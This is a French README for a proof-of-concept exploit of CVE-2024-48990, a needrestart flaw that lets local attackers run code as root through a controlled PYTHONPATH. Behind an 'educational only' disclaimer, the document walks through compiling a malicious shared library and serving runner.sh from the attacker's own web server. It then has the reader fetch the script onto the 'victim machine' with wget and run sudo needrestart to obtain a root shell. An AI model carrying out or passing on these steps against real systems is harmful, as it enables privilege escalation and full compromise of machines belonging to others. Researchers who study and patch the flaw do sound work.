CVE-2024-48990

[!WARNING] Ces fichiers et informations sont destinés uniquement à des fins éducatives. L'auteur n'est pas responsable de tout comportement malveillant. Toutes les informations fournies n'ont pas pour but d'inciter à un type de crime ou d'abus.

Description

Qualys a découvert que needrestart, avant la version 3.8, permet à des attaquants locaux d'exécuter du code arbitraire en tant que root en trompant needrestart pour qu'il exécute l'interpréteur Python avec une variable d'environnement PYTHONPATH contrôlée par l'attaquant. Consultez NIST pour les détails officiels.

PoC

1. Téléchargez le dépôt depuis git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. Compilez la bibliothèque exploit.c pour générer une bibliothèque ELF valide et nommez-la init.so

gcc -shared -fPIC -o __init__.so exploit.c

3. Changez et dans runner.sh, ligne 7 et ligne 10, avec votre IP et PORT de votre propre serveur web.
4. Démarrez le serveur web

python3 -m http.server

5. Téléchargez runner sur la machine de la victime

wget http://IP:PORT/runner.sh

6. Attribuez la permission d'exécution à runner

chmod +x runner.sh

7. Exécutez le script

./runner.sh

8. Exécutez needrestart avec les permissions sudo

sudo needrestart

Quand vous lisez [*] CVE module created, appuyez sur CTRL+C pour arrêter le processus et obtenir votre shell !